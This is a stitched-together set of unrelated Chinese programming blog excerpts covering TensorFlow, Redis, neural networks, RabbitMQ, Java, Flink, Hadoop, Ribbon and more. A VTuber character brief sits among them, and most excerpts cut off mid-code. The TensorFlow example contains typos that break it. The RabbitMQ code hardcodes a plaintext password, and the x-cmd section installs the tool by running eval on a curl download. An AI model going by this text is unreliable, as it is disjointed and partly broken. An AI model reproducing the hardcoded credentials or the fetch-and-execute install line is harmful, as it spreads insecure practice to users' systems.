中使用python搭建机器学习模型时,能够使用的模型参数和转换的函数接口,支持以上三种不同的格式转换。 SavedModel TensorFlow 模型序列化的标准形式计算元图(MetaGraph)包含元数据(metadata)保存训练模型快照(包括权重参数和计算方式)无需模型构建代码支持模型版本控制 提供了查看SaveModel的指令: Example 1 : Example 2: 命令行的转换方式:

tensorflow 1.x和tensorflow2.x对比

Tensorflow 2是一个与Tensorflow1.x使用完全不同的框架,Tensorflow 2 不兼容Tensorflow1.x的代码,同时在编程风格、函数接口设计等上大相径庭。 #简单的2.0+4.0的加法运算为例, #使用tensorflow1.x import tensorflow as tf #1.创建计算图阶段, a_ph = tf.placeholder(tf.float32,name = 'variable_a') b_ph = tf.placeholder(tf.float32,name = 'variable_b') c_op = tf.add(a_phph,b_ph,name = 'variable_c') #创建运行环境 sess = tf.InteractiveSession() #初始化步骤也需要作为操作运行 init = tf.gloabal_variables_initializer() sess.run(init) c_numpy = sess.run(c_op,feed_dict = {a_ph:2.,b_ph:4.}) print('a+b = ',c_numpy) import tensorflow as tf a = tf.constant(2.) b = tf.constant(4.) print('a+b=',a+b) Tensorflow的重要功能就是利用GPU方便地实现并行计算加速功能

缓存技术—redis

一、redis介绍 1.什么是NoSQL NosQL (Not-Only:sQL),泛指非关系型的数据库(关系型数据库: 以二维表形式存储数据) 非关系型的数据库现在成了一个极其热门的新领域,发展非常迅速。而传统的关系数据库在应付超大规模和高并发的网站已经显得力不从心,暴露了很多难以克服的问题,NOSOL 数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,尤其是大数据应用难题。例如:Highperformance-·对数据库高并发读写的需求; 对于每秒要达到上万次读写请求。关系数据库应付上万次 SOL 查询还勉强顶得住,但是应付上万次 SOL 写数据请求,硬盘I0 就已经无法承受了。“ 一些主流的NOSQL产品: NoSQL数据库的四大分类如下: 1.键值(Key-Value)存储数据库 相关产品: Tokyo Cabinet/Tyrant、Redis、Voldemort、Berkeley DB 典型应用:内容缓存,主要用于处理大量数据的高访问负载。 数据模型:一系列键值对 优势:快速查询 劣势:存储的数据缺少结构化 2.列存储数据库 相关产品:Cassandra, HBase, Riak 典型应用:分布式的文件系统 数据模型:以列簇式存储,将同一列数据存在一起 优势:查找速度快,可扩展性强,更容易进行分布式扩展 劣势:功能相对局限 3.文档型数据库 相关产品:CouchDB、MongoDB 典型应用:Web应用(与Key-Value类似,Value是结构化的) 数据模型:一系列键值对 优势:数据结构要求不严格 劣势:查询性能不高,而且缺乏统一的查询语法 4.图形(Graph)数据库 相关数据库:Neo4J、InfoGrid、Infinite Graph 典型应用:社交网络 数据模型:图结构 优势:利用图结构相关算法。 劣势:需要对整个图做计算才能得出结果,不容易做分布式的集群方案。 2.redis历史发展 2008 年,意大利的一家创业公司 Merzia 推出了一款基于 MysQL的网站实时统计系统 LLOOGG,然而没过多久该公司的创始人·Salvatore·Sanfilippo 便对 MySQL 的性能感到失望,于是他决定亲自为 LLOOGG 量身定做一个数据库,并于2009 年开发完成,这个数据库就是 Redis。不过 Salvatore-Sanfilippo 并不满足只将 Redis 用于 LLOOGG 这一款产品,而是希望更多的人使用它,于是在同一年 Salvatore· Sanfilippo 将 Redis 开源发布,并开始和 Redis 的另一名主要的代码贡献者 Pieter·Noordhuis 一起继续着 Redis 的开发,直到今天。

神经网络:表述(Neural Networks: Representation)

1.非线性假设 无论是线性回归还是逻辑回归,当特征太多时,计算的负荷会非常大。 案例: 假设我们有非常多的特征,例如大于 100 个变量,我们希望用这 100 个特征来构建一个非线性的多项式模型,结果将是数量非常惊人的特征组合,即便我们只采用两两特征的组合(𝑥1𝑥2 +𝑥1𝑥3 + 𝑥1𝑥4+. . . +𝑥2𝑥3 + 𝑥2𝑥4+. . . +𝑥99𝑥100),我们也会有接近 5000 个组合而成的特征。这对于一般的逻辑回归来说需要计算的特征太多了。 假使我们采用的都是 50x50 像素的小图片,并且我们将所有的像素视为特征,则会有 2500 个特征,如果我们要进一步将两两特征组合构成一个多项式模型,则会有约2500的平方/2个(接近 3 百万个)特征。普通的逻辑回归模型,不能有效地处理这么多的特征,这时候我们需要神经网络。 非线性假设是指在模型中存在非线性关系的假设。在机器学习中,许多算法都是基于线性关系的假设,即输入特征和输出目标之间存在线性关系。然而,在实际问题中,这种线性关系可能并不存在,或者非线性关系可能更为复杂和重要。 非线性假设的引入是为了解决线性模型无法很好地拟合非线性数据的问题。非线性模型能够更好地拟合数据,提高模型的预测精度和稳定性。 在机器学习中,有许多非线性模型可供选择,例如决策树、支持向量机、神经网络等。这些模型能够处理各种复杂的非线性关系,并且具有不同的优缺点和适用场景。 在实际应用中,需要根据具体问题和数据特征选择合适的非线性模型。在选择模型时,需要考虑模型的复杂度、可解释性、泛化能力等因素。同时,也需要对数据进行适当的预处理和特征选择,以提高模型的训练效果和预测精度。 2.神经元和大脑 大脑的这一部分这一小片红色区域是你的听觉皮层,你现在正在理解我的话,这靠的是耳朵。耳朵接收到声音信号,并把声音信号传递给你的听觉皮层,正因如此,你才能明白我的话。 在吴恩达的课程中,机器学习中的神经网络可以被认为是受到人类大脑神经元网络的启发而设计的一种模型。神经网络是一种用于处理和学习数据的算法,其结构由多个人工神经元组成,这些神经元通过连接进行信息传递。 在机器学习中,神经网络的目标是通过学习输入数据和相应的输出之间的关系,来构建一个模型,从而能够进行预测和分类任务。神经网络通过多个层次的神经元组成,包括输入层、隐藏层和输出层。每个神经元接收来自上一层神经元的输入,并通过激活函数对输入进行处理,然后将结果传递给下一层神经元。通过调整神经元之间的连接权重,神经网络可以学习数据中的模式和特征。 与大脑相比,机器学习中的神经网络只是对大脑神经元网络的简化模型。尽管神经网络的设计灵感来自于大脑,但它并不完全模拟和复制大脑的功能和结构。然而,神经网络的训练和学习过程可以提供一种近似大脑学习的方式,因为它们可以通过调整连接权重来适应输入数据的模式和特征。 总的来说,神经网络是机器学习中一种常用且强大的模型,它使用多层次的人工神经元来学习数据的模式和特征。尽管受到大脑的启发,但神经网络只是对大脑的简化模型,并不能完全模拟和复制大脑的功能。 机器学习中的神经元和大脑与生物学中的神经元和大脑相似,但存在一些重要的区别。 在机器学习中,神经元通常被称为神经网络中的节点或单元,它们通过加权连接相互连接。每个神经元接收来自其他神经元的输入,并根据这些输入和相应的权重进行计算,产生输出信号。这个过程模拟了生物学中神经元的电化学信号传递过程。 与生物学中的大脑类似,机器学习中的神经网络也通过大量神经元的相互作用实现复杂的认知功能。然而,与实际的大脑不同,机器学习中的神经网络是静态的,即它们的结构和连接不会随时间改变。此外,机器学习中的神经网络通常比实际的大脑更简单,并且缺乏大脑的许多复杂结构和功能。 尽管存在这些差异,机器学习中的神经网络和生物学中的大脑在处理信息方面有许多相似之处。例如,两者都使用并行处理和分布式存储,通过学习不断优化其结构和功能。此外,两者都具有一定的容错性和自适应性,能够处理不完全或错误的信息,并从中学习和适应。 总之,机器学习中的神经元和大脑是模拟生物学中神经元和大脑的概念,它们在处理信息方面有许多相似之处。然而,由于机器学习和生物学的本质差异,两者在实现这些功能时的机制和结构存在显著差异。 3.模型表示1 每一个神经元都可以被认为是一个处理单元/神经核(processing unit/Nucleus),它含有许多输入/树突(input/Dendrite),并且有一个输出/轴突(output/Axon)。神经网络是大量神经元相互链接并通过电脉冲来交流的一个网络。 神经网络模型建立在很多神经元之上,每一个神经元又是一个个学习模型。这些神经元(也叫激活单元,activation unit)采纳一些特征作为输出,并且根据本身的模型提供一个输出。下图是一个以逻辑回归模型作为自身学习模型的神经元示例,在神经网络中,参数又可被成为权重(weight)。 其中𝑥1, 𝑥2, 𝑥3是输入单元(input units),我们将原始数据输入给它们。 𝑎1, 𝑎2, 𝑎3是中间单元,它们负责将数据进行处理,然后呈递到下一层。 最后是输出单元,它负责计算ℎ𝜃(𝑥)。 神经网络模型是许多逻辑单元按照不同层级组织起来的网络,每一层的输出变量都是下一层的输入变量。下图为一个 3 层的神经网络,第一层成为输入层(Input Layer),最后一层称为输出层(Output Layer),中间一层成为隐藏层(Hidden Layers)。我们为每一层都增加一个偏差单位(bias unit): 上面进行的讨论中只是将特征矩阵中的一行(一个训练实例)喂给了神经网络,我们需要将整个训练集都喂给我们的神经网络算法来学习模型。 我们可以知道:每一个𝑎都是由上一层所有的𝑥和每一个𝑥所对应的决定的。 (我们把这样从左到右的算法称为前向传播算法( FORWARD PROPAGATION ))

MySQL为什么存在的表显示doesn‘t exist?

1.萌新可能会做的:不在MySQL控制台里改名字,跑去explorer中改了名字,这样可能会出现显示不存在的问题,名字改回去就没什么问题了。 2.也有可能是因为数据库对表的大小写设置问题,我们设置忽略大小写即可,找到my.ini或者my.cnf文件打开文件,找到[mysqld]在下面增加一行 lower_case_table_names=1 //改为1是不敏感,改为二是敏感 3.还有可能是其他问题,可以尝试把数据备份后删除数据,重新创建结构,导入原来的数据。

搜维尔科技:【简报】元宇宙数字人赛道,《莉思菱娜》

个性有些古灵精怪时儿安静时而吵闹,虽然以人类寿命来算已经200多岁但在 吸血鬼中还只是个小毛头,从中学开始喜欢打扮偏爱黑白灰色系的服装喜欢时 尚圈,立志想成为美妆或时尚网红不过目前还是学生,脸上的浅色血迹是纹身 贴纸,皮肤很白但因为不怎么睡觉所以眼睛周围颜色较深,喜欢蝙蝠。 学校: 台北商业大学 选手: 孙玮琦、李安洁 角色姓名: 莉思菱娜、梦璃 角色性别: 女 角色物种: 吸血鬼、精灵猫 角色特性: 古灵精怪 莉思菱娜角色设计 角色世界观 是一个在吸血鬼和人类还算和平的时代,在人类与吸血鬼诞生时会因为气候季节或时间等产生不同的内心代表钻石而这些钻石代表物就是个性之分,莉思菱娜的代表物是黑钻石,黑钻石让人有神祕、热情、权威的印象,两种不同种 族通常吸血鬼寿命较长但数量较少,只靠一点某些生物的血就可以撑很多天。 介绍与个性 个性有些古灵精怪时儿安静时而吵闹,虽然以人类寿命来算已经200多岁但在 吸血鬼中还只是个小毛头,从中学开始喜欢打扮偏爱黑白灰色系的服装喜欢时 尚圈,立志想成为美妆或时尚网红不过目前还是学生,脸上的浅色血迹是纹身 贴纸,皮肤很白但因为不怎么睡觉所以眼睛周围颜色较深,喜欢蝙蝠。 好友:听说有一些蝙蝠好友 外观设计 服装以黑灰白色系去设计,菱形代表黑钻石所以从项链、服装到长袜都有菱形元素,因为是吸血鬼眼睛为淡粉色中间为深酒红色,使用角色喜欢的蝙蝠利 用蝙蝠翅膀元素添加在头饰和披风上,脸上有淡淡的血迹。 梦璃角色设计 角色世界观 她是具有精灵和猫咪元素的VTuber角色,她生活在一个神祕的森林中,那座森林是一个具有魔法又奇幻的地方,充满着神祕 的生物。 介绍与个性 她是这座森林中的守护者,负责维护森林的平和与和谐。同时,他也拥有猫咪的特质,机灵、好奇与敏捷,常常以优雅的动 作展现自己,喜欢猫咪。 好友 神秘森林里的所有动物 外观设计 这个角色结合了精灵猫(德文卷毛猫)与樱花的元素。身穿蓝 色渐层蛋糕裙,头发是以樱花的颜色作为参考,头发的粉色搭 配洋装的蓝色,让角色看起来甜美又充满活力。

C语言常见面试题:什么是结构体,结构体的作用是什么?

结构体(struct)是一种在C语言中定义的数据类型,它可以包含多个不同类型的数据项。每个数据项可以是基本数据类型,如int、float、char等,也可以是其他自定义的数据类型,如数组、结构体等。结构体的作用在于,它可以让我们把不同类型的数据组合在一起,形成一个单一的数据类型,以便于数据的整体处理。 结构体的作用主要有以下几点: 数据的组合:结构体可以将不同类型的数据组合在一起,形成一个单一的数据类型,便于数据的整体处理。例如,我们可以将一个人的姓名、年龄、性别等不同类型的数据组合在一起,形成一个Person结构体类型。封装:结构体可以将相关的数据封装在一起,形成一个单一的变量。这样,我们就可以通过这个变量来访问和操作相关的数据。例如,我们可以将一个人的基本信息封装在一个Person结构体变量中,通过这个变量就可以方便地访问和操作这些数据。数据的组织:结构体可以用来组织和存储相关的变量。当我们要处理相关的数据时,使用结构体可以将这些数据封装在一起,方便管理和操作。例如,当我们需要存储一个人的基本信息时,可以使用结构体来定义一个名为Person的数据结构,其中包含姓名、年龄、性别等变量。这样,就可以利用结构体来方便地访问和操作这些变量。数据的复用:结构体可以用于定义复杂的数据类型。在很多情况下,我们需要定义一种特定的数据类型,这个类型由多个不同的变量组成,且这些变量之间存在一定的关联。通过使用结构体,我们可以将这种复杂的数据类型定义为一个新的结构体类型。例如,我们可以定义一个名为Student的结构体,其中包含学号、姓名、年龄等变量,从而创建一个新的学生类型。这样,我们就能够方便地声明和使用这种新的数据类型。内存的节省:由于结构体的内存对齐规则,使用结构体可以在一定程度上节省内存的使用。编译器会根据对齐规则自动为结构体中的每个成员分配对齐的内存地址,从而使得整个结构体的内存占用更加紧凑和高效。 总的来说,结构体是一种非常灵活和有用的数据类型,它可以用来组织和存储相关的变量、封装数据、定义复杂的数据类型、节省内存等。在实际的编程中,根据需要选择是否使用结构体以及如何使用结构体,可以大大提高程序的效率和可维护性。

RabbitMQ消息应答与发布

消息应答 RabbitMQ一旦向消费者发送了一个消息,便立即将该消息,标记为删除. 消费者完成一个任务可能需要一段时间,如果其中一个消费者处理一个很长的任务并仅仅执行了一半就突然挂掉了,在这种情况下,我们将丢失正在处理的消息,后续给消费者发送的消息也就无法接收到了. 为了确保消息不丢失,我们引入了消息应答机制. 消息应答就是:消费者在接收到生产者的消息并且处理该消息之后,告诉RabbitMQ已经处理完成了,rabbitMQ可以进行删除了. 一个生产者,两个消费者. /** 消费者1 */ public class Consumer1 { public static final String QueueName = "TaskQueueName"; public static void main(String[] args) throws IOException, TimeoutException { ConnectionFactory factory = new ConnectionFactory(); factory.setHost("127.0.0.1"); factory.setUsername("DGZ"); factory.setPassword("Dgz@#151"); Connection connection = factory.newConnection(); Channel channel = connection.createChannel(); //声明接收消息 System.out.println("消费者1等待接收消息时间较短"); DeliverCallback deliverCallback = (consumerTag,message) -> { Util.sleep(1); //等待1s System.out.println("正在处理该消息" + new String(message.getBody())); /** * 手动应答 * 1.消息的标记Tag * 2.是否批量应答 false表示不批量应答信道中的消息 */ channel.basicAck(message.getEnvelope().getDeliveryTag(),false); }; //取消消息时的回调 CancelCallback cancelCallback = consumerTag ->{ System.

Java零基础学习19:集合

编写博客目的:本系列博客均根据B站黑马程序员系列视频学习和编写目的在于记录自己的学习点滴,方便后续回忆和查找相关知识点,不足之处恳请各位有缘的朋友指正。 一、集合和数组的对比 数组和集合很相似,但集合只能存储引用数据类型,而数组两者皆可,集合的长度可自动扩容,而数组则是固定长度 package www.itheima; import java.util.ArrayList; public class ArrayListDemo1 { public static void main(String[] args){ // 1. 创建集合的对象 // 创建对象时要确定一个泛型,这个是集合中存储的数据类型 ArrayList<String> list = new ArrayList<>(); System.out.println(list); } } 集合定义的时候要定义一个泛型在集合的名字之后的<>之间,这里面指定了集合的泛型 二、 集合的增删查改 package www.itheima; import java.util.ArrayList; public class ArrayListDemo1 { public static void main(String[] args){ // 1. 创建集合的对象 // 创建对象时要确定一个泛型,这个是集合中存储的数据类型 ArrayList<String> list = new ArrayList<>(); // 增加元素 list.add("aaa"); list.add("bbb"); list.add("ccc"); //删除元素 list.remove("aaa"); list.remove(1); //修改元素 list.set(1,"ccc"); //查询元素 list.get(0); System.out.println(list); } } 三、 集合遍历基本数据类型 集合添加基本数据类型,必须先把基本数据类型封装成包,其实就是在<>中更换对应的类型符,其余和正常的使用引用类型是一样的

COLMAP linux(docker)配置过程踩坑

建议使用官方提供的docker安装方法来配置Colmap,会容易很多,相对踩的坑也比较少。 官方docker镜像地址:https://hub.docker.com/r/colmap/colmap 比较顺利的情况下的流程: 拉取镜像docker pull colmap/colmap:latest进入容器docker run --gpus all -w /working -v $1:/working -it colmap/colmap:latest输入’colmap’,输出命令指引即成功。 如果不成功可能出现的问题有: 缺少libQt5Core.so.5动态库错误: colmap: error while loading shared libraries: libQt5Core.so.5: cannot open shared object file: No such file or directory 。 解决:该问题很异常,可以从过执行以下命令解决:strip --remove-section=.note.ABI-tag /usr/lib/x86_64-linux-gnu/libQt5Core.so.5,可参考LinkCUDA运行出错: forward compatibility was attempted on non supported HW 。 解决:这个主要是因为pull最新的colmap docker镜像,使用的CUDA版本过高,过于宿主机NVIDIA驱动支持的最高版本(即nvidia-smi显示的CUDA版本)导致无法调用CUDA。解决方法就是降低CUDA版本,可参考Link。 可以从docker hub中找低版本CUDA的colmap镜像,但可能找不到,因此可能需要自己从Dockerfile中build。参考https://github.com/colmap/colmap/blob/main/docker中的Dockerfile,将其中的NVIDIA_CUDA_VERSION改为更低的版本,但需要注意该CUDA版本的Ubuntu镜像可以找到,可以去 nvidia/cuda docker hub中查找。最后build即可:sudo docker build -t="colmap:lateset" .

python爬虫基础

python爬虫基础 前言 Python爬虫是一种通过编程自动化地获取互联网上的信息的技术。其原理可以分为以下几个步骤: 发送HTTP请求: 爬虫首先会通过HTTP或HTTPS协议向目标网站发送请求。这个请求包含了爬虫想要获取的信息,可以是网页的HTML内容、图片、视频等。接收响应: 目标网站接收到请求后,会返回一个HTTP响应。这个响应包含了请求的数据,状态码、头部信息等。爬虫需要解析这个响应来获取所需的信息。解析HTML: 如果爬虫的目标是获取网页上的数据,它需要解析HTML文档。HTML是一种标记语言,包含了网页的结构和内容。爬虫可以使用解析库(如BeautifulSoup、lxml)来从HTML中提取所需的数据。提取数据: 爬虫通过解析HTML文档,可以从中提取出所需的数据,例如链接、文本、图片地址等。提取数据的方式通常是使用选择器(Selector),它是一种用于定位HTML元素的表达式。存储数据: 爬虫获取到的数据可以被存储到本地文件或数据库中,以备后续使用。常见的数据存储格式包括文本文件、JSON、CSV等。处理动态页面: 一些网站使用JavaScript来动态加载内容,这就需要爬虫能够执行JavaScript代码,或者使用带有JavaScript渲染功能的工具(如Selenium、Puppeteer)来获取完整的页面内容。 1、python相关库(BeautifulSoup) 今天主要介绍一下BeautifulSoup模块 BeautifulSoup是一个用于从HTML或XML文档中提取数据的Python库。它的主要作用是解析复杂的HTML或XML文档,并提供了一种简单的方式来浏览文档树、搜索特定的标签、提取数据等。BeautifulSoup的设计目标是让数据提取变得容易、直观,并且具有Pythonic的风格。 2、BeautifulSoup模块的安装 安装命令 pip install bs4 我这里是安装过了,第一次安装会出现suessful 3、BeautifulSoup的使用 3.1 简单的使用(以百度为例) # coding=utf-8 import requests # 导入请求模块 from bs4 import BeautifulSoup # # from bs4 import BeautifulSoup 这样导入的目的是从 bs4(Beautiful Soup 4)库中引入 BeautifulSoup 类。这样导入的好处是在代码中使用 BeautifulSoup 类时不需要每次都写出完整的模块路径,简化了代码,提高了可读性。 # 设置要爬取的网站 url = "https://www.baidu.com/" heder = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' } # 爬取内容 res = requests.

Java高级实战--高级开发和架构师的秘籍

本JavaWeb高级实战教程全网最强!本教程是实际项目中真正会用到的技术,学完就能成为真正的技术大佬,有亮点的大佬!此教程包含:高并发、项目架构、全局处理、自动化处理、链路追踪、应用监控等,也包含Spring、SpringMVC、SpringBoot、Redis、MQ的高级用法等。 很多人有这样的困惑:工作已经是两年以上甚至是五到十年了,但自己的技术仍然很普通,并没有与他人拉开差距,个人竞争力很小,跳槽时简历不出彩,职业生涯很迷茫。 本资料让你真正与其他人拉开距离,成为公认的技术大佬!同时,在跳槽时表现也更出色,职业生涯迈向新台阶。 资料地址:JavaWeb高级实战 - 自学精灵 本资料适合此人群:Java中级开发、Java高级开发、开发组长、架构师、技术总监。 不得不提的是:很多组长、架构师、技术总监都没有达到本教程的水平。掌握本专栏的技术将使你拥有绝对的竞争力。 Java中高级应该掌握的技术 CRUD谁都会,对于Java中高级及以上级别的来说,必须掌握如下技术: 全局处理(包括请求、响应、格式等)高并发项目架构稳定好用的工具类自动的数据校验手写核心组件自动化处理高效率的前后端对接写开源项目链路追踪与监控 掌握了上边这些内容才能做到:比别人技术高一个档次、能合理地架构项目、极大提高项目稳定性、极大提高开发速度、极大提高排查问题的速度、极大增加简历的竞争力。 资料截图 首页 高并发 全局格式处理 链路追踪 自动化

JavaEE-微服务-Vuex

Vuex 2.1 什么是Vuex Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。 Vuex在组件之间共享数据。 2.2 使用 vue cli 构建项目 2.3 入门案例 2.3.1 定义数据 export default new Vuex.Store({ state: { // 状态区域(定义变量区域) user: '', token: '' }, mutations: { //修改变量 setUser(state, value) { state.user = value }, setToken(state, value){ state.token = value } }, 2.3.2 调用数据 获得数据:调用state区域,和计算属性结合,使数据可以实时更新 <template> <div> {{token}} </div> </template> <script> export default { computed: { // 计算属性 token() { return this.$store.state.token } }, } </script> <style> </style> 设置数据:调用mutations区域 <template> <div> {{token}} <br/> <input type="

windows c++qt获取本机网卡信息

利用qt自带的QNetworkInterface接口以及c++Iphlpapi库,获取当前windows电脑下的网卡型号、物理地址、ip地址、子网掩码、网关等信息。 #include <QtNetwork/QNetworkInterface> #include <iostream> #include <Windows.h> #include <iphlpapi.h> #pragma comment(lib, "Iphlpapi.lib") //获取对应网卡部分信息 BOOL MatchNetcardInfo(UiNetcardVersion &netcardVer) { PIP_ADAPTER_INFO pIPAdapterInfo = new IP_ADAPTER_INFO(); PIP_ADAPTER_INFO adapters = nullptr; ULONG size = sizeof(IP_ADAPTER_INFO); int nRet = GetAdaptersInfo(pIPAdapterInfo, &size); //pIPAdapterInfo内存不够,重新申请 if (ERROR_BUFFER_OVERFLOW == nRet) { delete pIPAdapterInfo; pIPAdapterInfo = (PIP_ADAPTER_INFO)new byte[size]; nRet = GetAdaptersInfo(pIPAdapterInfo, &size); } if (ERROR_SUCCESS == nRet) { adapters = pIPAdapterInfo; while (adapters) { //以XX-XX-XX-XX-XX-XX的形式输出MAC char buf[20]{0}; sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", adapters->Address[0], adapters->Address[1], adapters->Address[2], adapters->Address[3], adapters->Address[4], adapters->Address[5]); QString macTmp = buf; if(macTmp !

PHP Properties in Visual Studio

PHP Properties in Visual Studio PHP Tools for Visual Studio v1.78.19088 enhances code cleanliness by safely modifying data structures without breaking existing functionality. PHP Tools for Visual Studio converts Microsoft's IDE into a complete PHP development environment, increasing productivity with features such as smart code analysis, preemptive code completion, integrated debugging, and project management. This single package combines Visual Studio's familiar interface with industry-standard capabilities, allowing you to easily develop PHP applications and websites.

x-cmd pkg | ascii-image-converter - 图像转 ASCII 艺术照工具

目录 简介首次用户功能特点竞品和相关作品进一步阅读 简介 ascii-image-converter 是图像转换工具,用于将图像转换为 ascii art 图片并在控制台上打印。 首次用户 使用 x env use ascii-image-converter 即可自动下载并使用 在终端运行 eval "$(curl https://get.x-cmd.com)" 即可完成 x 命令安装, 详情参考 x-cmd 官网 x-cmd 提供1分钟教程,其中包含了 ascii-image-converter 命令常用功能的 demo 示例,可以帮你快速上手 ascii-image-converter 。 使用案例: # 安装 ascii-image-converter x env use ascii-image-converter # 将图像转换为 ASCII 艺术 ascii-image-converter myImage.png cat myImage.png | ascii-image-converter - # 使用原始图像的颜色显示 ascii-image-converter myImage.png -C # 以字符长度设置 ASCII 艺术的宽度和高度 ascii-image-converter myImage.png -d 40,20 # 使用盲文字符而不是 ascii ascii-image-converter myImage.

DataStream API(转换算子)

目录 源算子 转换算子 1,基本转换算子 1.1映射(map) 1.2过滤(filter) 1.3扁平映射(flatMap) 2,聚合算子 2.1按键分区(keyBy) 2.2简单聚合 3,用户自定义函数 3.1.函数类(Function Classes) 3.2 富函数类(Rich Function Classes) 4,物理分区 输出算子 源算子 源算子 转换算子 1,基本转换算子 1.1映射(map) Map() 是大数据处理中常用的一个算子,主要用于转换数据流中的数据,生成新的数据流。这个操作可以看作是一种“一一映射”,即对输入数据流中的每个元素进行处理,并产生一个相应的输出元素。在处理大量数据时,Map() 算子能够帮助我们将复杂的数据转换成易于处理或符合特定需求的格式。通过定义一个函数或Lambda表达式,我们可以指定如何对输入数据进行转换。Map() 算子在处理数据流时非常灵活,可以应用于各种场景,如数据清洗、格式转换、特征提取等。 1.2过滤(filter) Filter() 转换操作是对数据流执行过滤的过程,根据指定的布尔条件表达式来设置过滤条件。对于流中的每个元素,Filter() 算子会根据条件进行判断:如果条件为真(true),则元素正常输出;如果条件为假(false),则元素被过滤掉。这种过滤操作在大数据处理中非常有用,可以用于筛选出符合特定条件的数据,或者去除不符合要求的数据。通过 Filter() 算子,我们可以实现对数据流的筛选、去重、降噪等操作,从而更好地处理和分析数据。与 Map() 算子一样,Filter() 算子也提供了很大的灵活性,可以根据具体需求自定义过滤条件。在 Flink 中,我们可以通过实现一个函数或 Lambda 表达式来定义过滤条件,从而实现数据的筛选操作。 1.3扁平映射(flatMap) FlatMap() 操作又称为扁平映射,主要用于将数据流中的整体(通常是集合类型)拆分成单个个体。与 Map() 算子不同,FlatMap() 可以产生 0 到多个元素,意味着对于输入数据流中的每个元素,FlatMap() 可以根据定义的处理逻辑生成一个或多个输出元素。这种操作在大数据处理中非常有用,特别是在需要对集合类型数据进行拆分和转换的场景中。 FlatMap() 可以被视为“扁平化”(flatten)和“映射”(map)两个操作的结合。具体来说,它首先按照某种规则将数据进行打散拆分,然后将拆分后的元素进行转换处理。这种操作在数据流处理中提供了一种有效的机制,用于处理复杂的转换逻辑,特别是需要将集合类型数据拆分成单个元素进行处理的情况。 2,聚合算子 2.1按键分区(keyBy) 在 Flink 中,DataStream API 本身不直接提供聚合操作。对海量数据进行聚合时,为了提高效率,我们需要进行分区并行处理。因此,在 Flink 中进行聚合之前,通常需要先进行分区操作。这个分区操作是通过 keyBy() 算子完成的。 keyBy() 算子在聚合操作中起着至关重要的作用。通过指定键(key),它可以将一条数据流逻辑上划分成不同的分区(partitions)。这些分区实际上是并行处理的子任务,每个分区对应一个任务槽(task slot)。 当使用不同的键时,流中的数据将被分配到不同的分区中。这样一来,所有具有相同键的数据都会被发送到同一个分区,从而确保后续的算子操作在同一个任务槽中执行。这种分区机制确保了相同键的数据能够被集中处理,提高了聚合操作的效率。 在内部,keyBy() 算子通过计算键的哈希值并对分区数进行取模运算来实现数据的分区。因此,如果键是一个 POJO 类,必须重写其 hashCode() 方法以确保正确的哈希计算。

DataStream API(输出算子)

源算子 源算子 转换算子 转换算子 输出算子 1.连接到外部系统 连接外部系统是计算机科学和信息技术领域中常见的一个任务,通常涉及到与外部数据源或服务进行交互。具体的方法和工具会根据不同的应用场景和需求而有所不同。以下是一些常见的连接外部系统的方法: 应用程序接口(API):许多外部系统都提供API,以便其他系统可以与其进行交互。通过API,可以使用各种编程语言和工具来获取或交换数据。常见的API包括REST API和SOAP API。数据集成工具:这些工具可以帮助将数据从各种来源(包括数据库、文件、API等)集成到一个中央位置。一些流行的数据集成工具包括Talend、Apache NiFi和 Informatica PowerCenter。连接器或适配器:这些是专用的软件组件,用于连接到特定的外部系统。例如,一些CRM系统提供连接器,使其他应用程序可以与CRM系统中的数据进行交互。编程语言和框架:许多编程语言和框架可用于连接到外部系统。例如,Python是一种流行的语言,可用于通过API或Web scraping技术连接到外部系统。第三方服务:许多第三方服务提供连接外部系统的功能,例如OAuth、SAML和OpenID Connect等身份验证协议。这些服务可以与许多不同的系统进行交互,并提供安全的身份验证和授权机制。 连接外部系统时需要考虑许多因素,例如安全性、性能、可靠性和兼容性。因此,选择适当的工具和技术,并仔细规划和测试连接过程是非常重要的。 2.输出到文件 要将数据流输出到文件,您可以使用 Flink 的 File Sink。以下是一个示例代码片段 import org.apache.flink.api.common.io.OutputFormat; import org.apache.flink.streaming.api.datastream.DataStream; import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment; import org.apache.flink.streaming.api.functions.sink.RichSinkFunction; import org.apache.flink.util.IOUtils; import java.io.BufferedWriter; import java.io.FileWriter; import java.io.IOException; // 创建 StreamExecutionEnvironment StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); // 创建数据流 DataStream<MyData> dataStream = ... // 创建数据流 // 创建自定义的输出格式,用于将数据写入文件 class MyOutputFormat implements OutputFormat<MyData> { private String filePrefix = "output"; private int count = 0; private String suffix = "

hadoop集群主节点挂了standby没有自动切换处理

hadoop集群由于主节点的磁盘空间满了,没有及时发现,导致主节点挂掉,过了好久才发现集群访问不了,排查,配置了ha但是灭有自动切换 排查原因: 先清理满了的磁盘 2,查看配置,hdfs-site.xml中dfs.ha.fencing.methods 设置为>sshfence(hdfs :22)< , 3,查看zkfc日志,发现日志中显示没有/home/hdfs /.ssh/id rsa文件 4,查看 hdfs-site.xml dfs.ha.fencing. ssh.private-key-files /home/hdfs /.ssh/id rsa 5,创建秘钥文件 ,两个主节点执行 ssh-keygen -t rsa 注意用户 6,更改dfs.ha.fencing.methods设置为shell(true) 7重启,zkfc,重启standby节点 8,在之前挂掉的主节点执行同步操作hdfs namenode -bootstrapStandby 9集群状态自动切换了

4.Ribbon负载均衡

4.Ribbon负载均衡 上一节中,我们添加了@LoadBalanced注解,即可实现负载均衡功能,这是什么原理呢? 4.1.负载均衡原理 SpringCloud底层其实是利用了一个名为Ribbon的组件,来实现负载均衡功能的。 那么我们发出的请求明明是http://userservice/user/1,怎么变成了http://localhost:8081的呢? 4.2.源码跟踪 为什么我们只输入了service名称就可以访问了呢?之前还要获取ip和端口。 显然有人帮我们根据service名称,获取到了服务实例的ip和端口。它就是LoadBalancerInterceptor,这个类会在对RestTemplate的请求进行拦截,然后从Eureka根据服务id获取服务列表,随后利用负载均衡算法得到真实的服务地址信息,替换服务id。 我们进行源码跟踪: 1)LoadBalancerIntercepor 可以看到这里的intercept方法,拦截了用户的HttpRequest请求,然后做了几件事: request.getURI():获取请求uri,本例中就是 http://user-service/user/8originalUri.getHost():获取uri路径的主机名,其实就是服务id,user-servicethis.loadBalancer.execute():处理服务id,和用户请求。 